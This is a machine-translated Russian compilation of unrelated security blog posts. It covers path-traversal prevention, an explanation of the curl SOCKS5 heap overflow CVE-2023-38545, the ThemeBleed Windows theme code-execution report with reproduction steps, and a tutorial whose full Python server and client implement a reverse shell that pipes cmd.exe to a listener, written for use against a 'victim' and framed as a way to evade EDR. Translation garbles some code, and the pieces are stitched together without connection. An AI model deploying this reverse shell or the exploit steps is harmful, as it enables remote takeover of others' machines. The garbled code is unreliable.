Существует несколько стратегий, которые можно использовать для предотвращения уязвимостей обхода, включая изменения конструкции для предотвращения построения путей к файлам на основе пользовательского ввода, строгую проверку ввода, использование канонизации пути и ограничение доступа к приложениям. Мы рассмотрим каждый из них ниже.

Запретить создание путей к файлам с помощью пользовательского ввода

Вместо того чтобы использовать пользовательский ввод для построения пути к файлу, рассмотрите возможность использования соответствующего идентификатора или имени файла для ссылки на файл. Затем сопоставьте идентификаторы файлов с соответствующим путем хранения. Когда пользователь запрашивает этот файл или загружает его, он может контролировать только его идентификатор, не позволяя пользователю когда-либо получить доступ к содержимому, используемому для построения пути к файлу. Это полностью исключает возможность обхода, поскольку ввод пользователя больше не используется для построения пути к полученному файлу.

Строгая проверка ввода пользователя

Строгая проверка отличается от санитарной обработки. Вместо того, чтобы пытаться удалить последовательности обхода (например, ../), которые можно обойти бесчисленными способами, убедитесь, что в вводимые пользователем данные входит только ожидаемый контент, и отклоните все, что не проходит строгую проверку. Примеры проверки, которые могут помочь предотвратить обход каталогов:

Проверка имени файла содержит только буквенно-цифровые значения.
Проверка только одного файла . символ находится в указанном имени файла
Проверка нежелательных символов не включена в предоставленный ввод (например, /, \)
Проверка типа загруженного файла (не по расширению, которое можно легко обойти)

Используйте функции языка канонизации путей для строгой проверки.

Канонизация пути по существу сокращает путь к файлу до его фактического пути, эффективно удаляя символические ссылки, последовательности ../ и другой символический контент. Получив канонический путь, вы можете убедиться, что он по-прежнему начинается с ожидаемого базового каталога (например, uploads/photos/). Некоторые примеры функций для получения канонического пути:

Java: getCanonicalPath
PHP: реальный путь
C: реальный путь
ASP.NET: GetFullPath

Ограничить доступ к приложению

Как правило, приложение должно иметь доступ только к файлам и каталогам, доступ к которым ему необходим для правильной работы. В некоторых случаях обхода каталогов это помогает, ограничивая влияние уязвимости в случае ее обнаружения. Например, веб-приложение никогда не должно запускаться от имени пользователя root, а в идеале оно должно быть ограничено доступом только к тем файлам, которые необходимы для обслуживания приложения.

Ссылки и дополнительная литература

Дальнейшее чтение:

CWE-22

https://cwe.mitre.org/data/definitions/22.html

Академия веб-безопасности Портсвиггера

https://portswigger.net/web-security/file-path-traversal

Примеры:

CVE-2023-2825

CVE-2022-48362 (и CVE-2021-44515)

Полезные нагрузкиAllTheThings

https://github.com/swisskyrepo/PayloadsAllTheThings

КАК Я СДЕЛАЛ ПЕРЕПОЛНЕНИЕ КУЧИ В CURL

2023-10-11T11:05:17.337Z

В связи с выпуском Curl 8.4.0 мы публикуем рекомендации по безопасности и все подробности об CVE-2023-38545 . Эта проблема является самой серьезной проблемой безопасности, обнаруженной в Curl за долгое время. Мы установили уровень серьезности HIGH .

При этом рекомендация содержит все необходимые подробности. Я решил использовать несколько дополнительных слов и расширить объяснения для всех, кто хочет понять, как работает этот недостаток и как он произошел.

Фон

Curl поддерживает SOCKS5 с августа 2002 года .

SOCKS5 — это прокси-протокол. Это достаточно простой протокол настройки сетевого взаимодействия через выделенного «посредника». Например, этот протокол обычно используется при настройке связи через Tor, а также для доступа в Интернет изнутри организаций и компаний.

SOCKS5 имеет два разных режима разрешения имен хостов. Либо клиент разрешает имя хоста локально и передает пункт назначения в качестве разрешенного адреса, либо клиент передает все имя хоста прокси-серверу и позволяет самому прокси разрешить хост удаленно .

В начале 2020 года я решил себе старую, давнюю проблему с Curl: преобразовать функцию, подключающуюся к прокси-серверу SOCKS5, из блокирующего вызова в неблокирующий конечный автомат. Это, например, очень заметно, когда приложение выполняет большое количество параллельных передач, которые выполняются через SOCKS5.

14 февраля 2020 года я выполнил основной коммит для этого изменения в мастере. Он был выпущен в версии 7.69.0 как первый выпуск с этим улучшением. И, как следствие, также первый выпуск, уязвимый для CVE-2023-38545.

Менее разумное решение

Конечный автомат вызывается повторно, когда есть дополнительные сетевые данные, над которыми нужно работать, пока это не будет завершено: когда соединение установлено.

В верхней части функции я сделал это :

boolss5_resolve_local =
  (тип прокси == CURLPROXY_SOCKS5) ? ИСТИНА: ЛОЖЬ;

Эта логическая переменная содержит информацию о том, должен ли Curl разрешить хост или просто передать имя прокси. Это назначение выполняется сверху и, следовательно, для каждого вызова во время работы конечного автомата.

Конечный автомат запускается в состоянии INIT, в котором и кроется основной баг сегодняшнего сюжетного времени. Ошибка унаследована от функции, существовавшей до того, как она была превращена в конечный автомат.

if(!socks5_resolve_local && имя_хоста_len > 255) {
  Socks5_resolve_local = ИСТИНА;
}

SOCKS5 допускает длину поля имени хоста до 255 байт, что означает, что прокси-сервер SOCKS5 не может разрешить более длинное имя хоста. При обнаружении слишком длинного имени хоста. код Curl принимает неправильное решение вместо этого переключиться в режим локального разрешения. Для этой цели локальная переменная устанавливается в значение TRUE. (Это условие является остатком кода, добавленного давным-давно. Я думаю, что было совершенно неправильно переключать режим таким образом, поскольку пользователь, запросивший удаленное разрешение, Curl должен придерживаться этого или потерпеть неудачу. Простое переключение вряд ли сработает, даже в «хороших» ситуациях.)

Затем конечный автомат переключает состояние и продолжает работу.

Проблема вызывает

Если конечный автомат не может продолжить работу, поскольку у него больше нет данных для работы, например, если сервер SOCKS5 недостаточно быстр, он возвращается. Он вызывается снова, когда есть доступные данные для продолжения работы. Мгновение спустя.

Но теперь еще раз взгляните на локальную переменную socks5_resolve_local в верхней части функции. Ему снова присваивается значение в зависимости от режима прокси — измененное значение не запоминается из-за слишком длинного имени хоста . Теперь он снова содержит значение, говорящее, что прокси-сервер должен разрешить имя удаленно. Но имя слишком длинное…

Curl создает кадр протокола в буфере памяти и копирует место назначения в этот буфер. Поскольку код ошибочно считает, что он должен передать имя хоста, даже если имя хоста слишком длинное, копия памяти может переполнить выделенный целевой буфер. Конечно, в зависимости от длины имени хоста и размера целевого буфера.

Целевой буфер

Выделенная область памяти, которую Curl использует для построения кадра протокола для отправки на прокси, такая же, как и обычный буфер загрузки. Он просто повторно используется для этой цели перед началом передачи. По умолчанию размер буфера загрузки составляет 16 КБ, но по запросу приложения его также можно установить на другой размер. Инструмент Curl устанавливает размер буфера равным 100 КБ. Минимальный допустимый размер — 1024 байта.

Если размер буфера установлен меньше 65541 байт, такое переполнение возможно. Чем меньше размер, тем больше возможное переполнение.

Длина имени хоста

Имя хоста в URL-адресе не имеет ограничения по реальному размеру, но анализатор URL-адресов libcurl отказывается принимать имена длиной более 65535 байт. DNS принимает только имена хостов длиной до 253 байт. Таким образом, законное имя длиной более 253 байтов является необычным. Настоящее имя длиной более 1024 практически не встречается.

Таким образом, чтобы вызвать эту ошибку, злоумышленнику необходимо ввести в это уравнение сверхдлинное имя хоста. Чтобы использовать его в атаке. Имя должно быть длиннее целевого буфера, чтобы копия памяти перезаписывала память кучи.

Содержание имени хоста

Поле имени хоста URL-адреса может содержать только подмножество октетов. Диапазон значений байтов просто недействителен и может привести к тому, что анализатор URL-адресов отклонит его. Если libcurl создан для использования библиотеки IDN, она также может отклонять недопустимые имена хостов. Таким образом, эта ошибка может возникнуть только в том случае, если в имени хоста используется правильный набор байтов.

Атака

Злоумышленник, контролирующий HTTPS-сервер, к которому libcurl с помощью клиента обращается через прокси-сервер SOCKS5 (используя режим прокси-резольвера), может заставить его вернуть созданное перенаправление приложению через ответ HTTP 30x.

Такое 30-кратное перенаправление будет содержать заголовок Location: в стиле:

Местоположение: https://ааааааааааааааааааааааааааа/

… где имя хоста длиннее 16 КБ и до 64 КБ

Если в клиенте, использующем libcurl, включено автоматическое отслеживание перенаправления, а прокси-сервер SOCKS5 «достаточно медленный», чтобы вызвать ошибку локальной переменной, он скопирует созданное имя хоста в слишком маленький выделенный буфер и в соседнюю кучу памяти.

Затем произошло переполнение буфера кучи.

Исправление

Curl не должен переключать режим с удаленного разрешения на локальное из-за слишком длинного имени хоста. Скорее он должен возвращать ошибку, и, начиная с версии Curl 8.4.0, так оно и есть.

Теперь у нас также есть специальный тестовый пример для этого сценария.

Кредиты

Об этой проблеме сообщил, проанализировал и исправил Джей Сатиро.

Это самая большая награда за ошибки в Curl, выплаченная на сегодняшний день: 4660 долларов США (плюс 1165 долларов США проекту Curl, согласно политике IBB ).

Классический родственный стриптиз Дилберта. Исходный URL-адрес, похоже, больше не доступен.

Переписать?

Да, это семейство недостатков было бы невозможно, если бы Curl был написан на безопасном для памяти языке вместо C, но портирование Curl на другой язык не стоит на повестке дня. Я уверен, что новость об этой уязвимости вызовет новый поток вопросов и призывов к этому, и я могу вздохнуть, закатить глаза и попытаться ответить на этот вопрос еще раз.

Единственный подход в этом направлении, который я считаю жизнеспособным и разумным, заключается в следующем:

разрешать, использовать и поддерживать больше зависимостей, написанных на языках, безопасных для памяти, и
потенциально и постепенно заменять части завитка по частям, как с появлением Hyper .

Однако в настоящее время такое развитие происходит почти с ледниковой скоростью и с болезненной ясностью показывает связанные с этим проблемы. В обозримом будущем Curl останется написанным на C.

Все, кого это не устраивает, конечно, могут засучить рукава и приступить к работе.

С учетом последних двух CVE, зарегистрированных для Curl 8.4.0, совокупное общее количество говорит о том, что 41% уязвимостей безопасности, когда-либо обнаруженных в Curl, вероятно, не произошли бы, если бы мы использовали язык, безопасный для памяти. Но также: язык Rust даже не имел возможности практического использования для этой цели в то время, когда мы представили, возможно, первые 80% проблем, связанных с C.

Это горит в моей душе

Читая код сейчас невозможно не увидеть ошибку. Да, мне действительно больно признавать тот факт, что я совершил эту ошибку, не заметив этого, и что ошибка оставалась необнаруженной в коде в течение 1315 дней. Я прошу прощения. Я всего лишь человек.

Это можно было бы обнаружить с помощью более качественного набора тестов. Мы неоднократно запускали несколько статических анализаторов кода, и ни один из них не обнаружил никаких проблем в этой функции.

Оглядываясь назад, я бы не рекомендовал использовать переполнение кучи в коде, установленном более чем в двадцати миллиардах экземпляров.

За кулисами

Чтобы узнать, как было сообщено об этой ошибке, и как мы работали над ней до того, как она была обнародована. Проверьте отчет Hackerone .

CVE-2023-38146: выполнение произвольного кода через темы Windows.

2023-10-11T11:03:02.937Z

Это забавная ошибка, которую я обнаружил, исследуя странные форматы файлов Windows. Это своего рода классическая уязвимость в стиле Windows, характеризующаяся нарушенной подписью, отрывочной загрузкой DLL, гонками файлов, CAB-файлами и глупостью Mark-of-the-Web. Кроме того, это был мой первый опыт участия в программе MSRC по обнаружению ошибок Windows с тех пор, как я покинул Microsoft в апреле 2022 года.

Следуя великой традиции именования уязвимостей, я с любовью назвал эту уязвимость ThemeBleed (логотипа пока нет, но я принимаю предложения).

В целом было очень весело найти и выявить эту уязвимость, и MSRC невероятно быстро отреагировал и назначил за нее награду :^]

Ниже представлена слегка измененная версия отчета, который я отправил в Microsoft. После отчета идет график и мои заметки по их исправлению.

Краткое содержание

В Windows 11 существует ряд проблем, которые могут привести к выполнению произвольного кода при загрузке файла пользователем .theme.

Подробности об ошибке

1. История

В Windows .themeфайлы позволяют настраивать внешний вид ОС. Сами файлы .themeпредставляют собой ini-файлы, содержащие сведения о конфигурации. Нажатие на .themeфайл в Windows 11 вызовет следующую команду:

"C:\WINDOWS\system32\rundll32.exe" C:\WINDOWS\system32\themecpl.dll,OpenThemeAction <theme file path>

Эта уязвимость конкретно связана с обработкой .msstylesфайлов. Это файлы PE (DLL), которые содержат ресурсы, такие как значки, которые будут использоваться в теме, но (не должны) содержать никакого кода. На файл .msstylesможно ссылаться в .themeфайле следующим образом:

[VisualStyles]
Path=%SystemRoot%\resources\Themes\Aero\Aero.msstyles

При .themeоткрытии файла он .msstylesтакже будет загружен.

2. Проверка «Версии 999»

При загрузке .msstylesфайла LoadThemeLibraryвинда uxtheme.dllпроверит версию темы. Это будет сделано путем загрузки ресурса, указанного PACKTHEM_VERSIONв двоичном файле. Если версия, которую он читает, равна 999, он вызовет другую функцию ReviseVersionIfNecessary. Декомпилированную версию этой функции с комментариями к соответствующим частям можно увидеть ниже:

__int64 __fastcall LoadThemeLibrary(const WCHAR *msstyles_path, HMODULE *out_module, int *out_version)
{
  HMODULE module_handle;
  signed int result;
  int version;
  signed int return_val;
  unsigned int resource_size;
  __int16 *version_ptr;

  if ( out_version )
    *out_version = 0;
  module_handle = LoadLibraryExW(msstyles_path, 0, 2u);
  if ( !module_handle )
    return (unsigned int)MakeErrorLast();
  result = GetPtrToResource(
             module_handle,
             L"PACKTHEM_VERSION",
             (const unsigned __int16 *)1,
             (void **)&version_ptr,
             &resource_size); // !!! [1] version number is extracted from resource "PACKTHEM_VERSION"
  if ( result < 0 || resource_size != 2 )
    goto LABEL_22;
  version = *version_ptr;
  if ( out_version )
    *out_version = version;
  return_val = -2147467259;
  if ( version >= 4 )
  {
    if ( version > 4 )
      result = -2147467259;
    return_val = result;
  }
  if ( return_val < 0 && (_WORD)version == 999 ) // !!! [2] special case for version 999
  {
    resource_size = 999;
    return_val = ReviseVersionIfNecessary(msstyles_path, 999, (int *)&resource_size); // !!! [3] call to `ReviseVersionIfNecessary`
...
}

3. Время проверки-время использования в ReviseVersionIfNecessary позволяет обходить подпись

Функция ReviseVersionIfNecessary, вызванная на предыдущем шаге, выполняет несколько действий. Учитывая путь к .msstylesфайлу, он выполнит следующее:

Создайте новый путь к файлу, добавив его _vrf.dllк .msstylesпути к файлу.
Проверьте, существует ли этот новый _vrf.dllфайл. Если нет, выйдите.
Открыть _vrf.dllфайл
Проверьте подпись в _vrf.dllфайле. Если подпись недействительна, выйдите.
Закрыть _vrf.dllфайл
Загрузите _vrf.dllфайл как DLL и вызовите VerifyThemeVersionфункцию.

Целью этого, по-видимому, является попытка безопасно загрузить подписанную DLL и вызвать функцию. Однако эта реализация ошибочна, поскольку DLL закрывается после проверки подписи на шаге 5, а затем снова открывается, когда DLL загружается посредством вызова LoadLibrary на шаге 6. Это обеспечивает окно гонки между этими двумя шагами, где злоумышленник может заменить _vrf.dllфайл, подпись которого проверена, на вредоносный файл, который не подписан. Затем эта вредоносная DLL будет загружена и выполнена.

4. Обход веб-меток

Если пользователь загружает .themeфайл, при его запуске он получит предупреждение системы безопасности из-за наличия в файле метки Интернета. Оказывается, это можно обойти, упаковав .themeфайл в .themepackфайл.

Файл .themepackпредставляет собой CAB-файл, содержащий .themeфайл. Когда .themepackфайл открывается, содержащийся в нем .themeфайл будет загружен. При открытии .themepackфайла с помощью Mark-of-the-Web предупреждение не отображается, поэтому предупреждение, которое обычно отображается, игнорируется.

Доказательство концепции

Я разработал PoC для этой проблемы. PoC состоит из двух компонентов: исполняемого файла SMB-сервера, который нужно запустить на компьютере злоумышленника, и файла, который .themeнужно открыть на компьютере цели.

Я решил использовать для этого SMB-сервер, контролируемый злоумышленником, поскольку .themeфайл может указывать на .msstyleпуть к удаленному общему ресурсу SMB. Поскольку общий ресурс SMB контролируется злоумышленником, он может легко использовать ошибку TOCTOU, ReviseVersionIfNecessaryвозвращая правильно подписанный файл, когда клиент сначала запрашивает его для проверки подписи, а затем вредоносный файл, когда клиент загружает DLL.

PoC можно найти здесь: https://github.com/gabe-k/themebleed .

Подготовка среды

Для запуска PoC вам понадобятся две машины: одна машина злоумышленника, на которой будет работать SMB-сервер, и одна целевая машина, на которую вы загрузите файл .theme. Ниже приведены требования к соответствующим машинам:

Атакующая машина

Windows 10 или 11
Отключите службу «Сервер», чтобы освободить порт SMB (отключите и перезапустите, а не просто останавливайте службу)
Актуальная версия .NET
Доступен для целевой машины в сети.

Целевая машина

Последняя версия Windows 11

Шаги воспроизведения

Создайте .themeфайл, запустив:themebleed.exe make_theme <attacker machine ip> exploit.theme
На машине злоумышленника выполните:themebleed.exe server
На целевой машине откройтеexploit.theme

Это должно привести к открытию калькулятора на целевой машине. Это показывает, что был выполнен произвольный код.

Кредиты

PoC использует SMBLibrary Тала Алони.

Заключение

Это надежная уязвимость, которая позволяет перейти от загрузки темы к загрузке и выполнению кода без повреждения памяти. Кроме того, эта уязвимость кажется новой и присутствует только в Windows 11. Я прошу рассмотреть эту заявку на предмет вознаграждения.

Чтобы исправить эту уязвимость, я бы рекомендовал:

Полностью удаляю функциональность «версии 999», но я не совсем уверен, для чего она предназначена.
Подписание и проверка _vrf.dllдвоичного файла стандартным способом Windows проверяет другой код, а не тот, который уязвим для подобных состояний гонки.
Запретить загрузку ресурсов из удаленных общих ресурсов в файлах темы.
Добавляйте в файлы предупреждения о веб-маркировке .themepack.

Конец исходного отчета

График отчетности

15 мая 2023 г. — отчет и PoC отправлены в Microsoft.
16.05.2023 — Признание уязвимости со стороны Microsoft.
17.05.2023 — вознаграждено вознаграждение в размере 5000 долларов США.
12.09.2023 - Выпущен фикс.

Анализ исправлений Microsoft

Выпущенное Microsoft исправление этой проблемы полностью удалило функциональность «версии 999». Хотя это и смягчает этот конкретный эксплойт, оно по-прежнему не решает проблему TOCTOU при подписании .msstylesфайлов.

Кроме того, Microsoft не добавила в файлы предупреждения о наличии веб-маркировки .themepack.

Создайте свой собственный Netcat, используя Python

2023-10-11T11:00:41.294Z

Зачем создавать собственную версию Netcat? Вот несколько причин:

Защитник Windows для конечной точки — это по крайней мере одно решение EDR. Я могу подтвердить, что оно блокирует/помечает его, если оно используется в Windows. Я уверен, что другие решения EDR тоже это обнаруживают.
Даже если он не обнаружен, он, скорее всего, где-то регистрируется и отправляется в SIEM организации.
Сокеты — это основная основа всего, что связано с C2, обратными шеллами/шеллкодами, RCE и т. д. Поэтому нам, вероятно, следует понять, как они работают!
Самый популярный шеллкод, созданный с использованием msfvenom, — это обратный шелл. Что произойдет, если вы не сможете создать обратную оболочку с помощью msfvenom…

Вышеупомянутые причины достойны изучения того, как создавать собственные серверные и клиентские сценарии сокетов, которые выполняют то же самое, что и Netcat, за исключением функции передачи файлов.

Ладно, я закончил болтать, начнем!

СерверПостоянная ссылка

import socket
import subprocess
import sys
import time
import threading
import asyncio
import io
import os
#import readline
import colorama
from colorama import Fore, Back, Style

host = "0.0.0.0" # No IP restrictions for the IP to be used for a connection
port = 4546 # the selected port we will use for listening for a connection 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  #type of socket, in this case IPV4 addresses are expected to be used
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #allow reusing this socket for multiple connections
s.bind((host, port)) #bind to our set IP/port
s.listen(5) #  queue up as many as 5 connect requests before refusing additional connections
print(Fore.YELLOW + "[+] listening on port "+str(port), Fore.WHITE)

conn, addr = s.accept()
print(Fore.GREEN, f'\n[*] Accepted new connection from: {addr[0]}:{addr[1]}', Fore.WHITE)

Это базовый шаблон для привязки к указанному вами IP/порту, который можно найти в приведенном выше коде. Вот и все! Приведенный выше код — это все, что необходимо для привязки к вашему IP/порту и прослушивания удаленных подключений.

КлиентПостоянная ссылка

import argparse
import socket
import subprocess
import sys
import threading
import os
import time
from win32com.shell import shell

host="127.0.0.1" # ip of the listening server we wish to connect to
port=4546 # port for the listening server we wish to connect to
    
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #IPV4 TCP/IP networking
try:
    client.connect((host, port)) #connect over to our server!
except:
    print("server/socket must have died...time to hop off") #self-explanatory
    os._exit(0)

Это базовый шаблон для подключения к вашему прослушивающему серверу. Написать клиент даже проще, чем код сервера! 😸

Код в действии!

Хорошо… это невероятно просто. Я понимаю. Просто подожди… Это еще не все. Я использую это как возможность объяснить основы вплоть до отправки оболочки на сервер. Повесить там!

Вступление: Python Threading!

Теперь нам нужен способ настроить отдельные фоновые «рабочие» потоки, которые будут постоянно получать и отправлять данные через наш сокет. Python делает это проще простого! Мы настроим два потока:

Первый поток выполнит наш код, содержащийся в функции shellreceiver(). Эта функция будет постоянно готова к получению возвращаемого командной оболочкой cmd клиента сокета STDOUT (вывод «оболочки» клиента).
Второй поток будет запускать наш код, содержащийся в функции shellsender(). Эта функция будет постоянно готова отправлять ваши команды, которые вы хотите выполнить на клиенте, поскольку на клиенте будет запущена оболочка cmd.exe.

Надеюсь это имеет смысл. Признаюсь, мне потребовалось некоторое время, чтобы наконец понять, как работает оболочка. Пример, на котором я строю, — это то, как выполняется классическая обратная оболочка. Ваша жертва запускает клиент обратной оболочки, который запускает cmd.exeпроцесс и передает выходные данные в ваш сокет. Затем он отправляется на ваш прослушивающий сервер. Как только наш прослушивающий сервер получает выходные данные оболочки, мы отправляем команду обратно клиенту для выполнения. Кстати, клиент также находится в состоянии прослушивания через потоки, что мы увидим позже. Хорошо, давайте посмотрим обновленный код:

Обновлен код серверного сокета.Постоянная ссылка

import socket
import subprocess
import sys
import time
import threading
import asyncio
import io
import os
#import readline
import colorama
from colorama import Fore, Back, Style

#receive the cmd.exe shell command output from the client
def shellreceiver(conn):
    while True:
        try:
            data=conn.recv(1)
            print(data.decode(), end="", flush=True)
        except:
            print("server/socket must have died...time to hop off")
            conn.close()
            os._exit(0)

#send our command we'd like executed on the victim/client!
def shellsender(conn):
    while True:
        mycmd=input("")
        mycmd=mycmd+"\n"
        try:
            conn.send(mycmd.encode())
        except:
            print("server/socket must have died...time to hop off")
            conn.close()
            os._exit(0) 

host = "0.0.0.0"
port = 4546

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
print(Fore.YELLOW + "[+] listening on port "+str(port), Fore.WHITE)

conn, addr = s.accept()
print(Fore.GREEN, f'\n[*] Accepted new connection from: {addr[0]}:{addr[1]}', Fore.WHITE)

#New code starts here. This initiates our threads!
##################################################
s2p_thread = threading.Thread(target=shellreceiver, args=[conn, ])
s2p_thread.daemon = True
s2p_thread.start()

s2p_thread = threading.Thread(target=shellsender, args=[conn, ])
s2p_thread.daemon = True
s2p_thread.start()
##################################################

#continuous loop
while True:
    time.sleep(1)

Теперь давайте вернемся к клиентскому коду и внесем все необходимые изменения, чтобы включить в него многопоточность.

Обновленный клиентский кодПостоянная ссылка

import argparse
import socket
import subprocess
import sys
import threading
import os
import time
from win32com.shell import shell

#cmd.exe has now executed our command this client received from the server. Now we send the STDOUT result of that command after it ran via cmd.exe!
def shellstdout_sender(client, myshellproc):
    
    while True:
        output=myshellproc.stdout.read1()
        try:
            client.send(output)
        #basic exception handler to kill the process for cmd.exe if we cannot reach the server
        except:
            print("connection died...")
            subprocess.Popen("TASKKILL /F /PID {pid} /T".format(pid=myshellproc.pid))
            client.close()
            os._exit(0) 
#send errors (example: you typed 'net usr' intead of 'net user'. This will show you the error produced by cmd.exe    
def shellstderr_sender(client, myshellproc):
    
    while True:
        output=myshellproc.stderr.read1()
        try:
            client.send(output)
        #basic exception handler to kill the process for cmd.exe if we cannot reach the server
        except:
            print("connection died...")
            subprocess.Popen("TASKKILL /F /PID {pid} /T".format(pid=myshellproc.pid))
            client.close()
            os._exit(0)

#This function will take the command the server sent to this client, write it to the cmd.exe console, and execute it
#The shellsender() function will send the results of the executed command back to the server / attacker        
def shellreceiver(client, myshellproc):
    while True:
        try:
            data = client.recv(1024)
            if len(data) > 0:
                #if you type :leave: in the server/attacker console it closes the connection.  similar to 'exit' but just a custom version of that that I like to implement
                if ":leave:" in data.decode("UTF-8"):
                    subprocess.Popen("TASKKILL /F /PID {pid} /T".format(pid=myshellproc.pid))
                    client.close()
                    os._exit(0) 
                myshellproc.stdin.write(data)
                myshellproc.stdin.flush()
        #basic exception handler to kill the process for cmd.exe if we cannot reach the server
        except:
            print("connection died...")
            subprocess.Popen("TASKKILL /F /PID {pid} /T".format(pid=myshellproc.pid))
            client.close()
            os._exit(0)

# start the command shell and pipe it's contents to stdin, stout, and stderr        
myshellproc = subprocess.Popen("cmd.exe", stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

host="127.0.0.1"
port=4546
    
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    client.connect((host, port))
except:
    print("server/socket must have died...time to hop off")
    os._exit(0)

#This initiates our function threads!
###############################################
s2p_thread = threading.Thread(target=shellstdout_sender, args=[client, myshellproc])
s2p_thread.daemon = True
s2p_thread.start()

s2p_thread = threading.Thread(target=shellstderr_sender, args=[client, myshellproc])
s2p_thread.daemon = True
s2p_thread.start()

s2p_thread = threading.Thread(target=shellreceiver, args=[client, myshellproc])
s2p_thread.daemon = True
s2p_thread.start()
###############################################

#continuous loop
while True:
    time.sleep(1)

Демонстрация сервера/клиентаПостоянная ссылка

Если вы зашли так далеко, то поздравляю! Извините, я больше не комментировал код. У меня не так много времени, чтобы я мог посвятить эти статьи, но я постарался подробно описать основные аспекты функциональности обратной оболочки сервера/клиента, чтобы вы могли написать свою собственную и построить на ее основе 😸

Если вам нужен необработанный код, просто перейдите сюда и вы сможете получить как сервер, так и клиент: код сервера/клиента

Как всегда, спасибо, что читаете!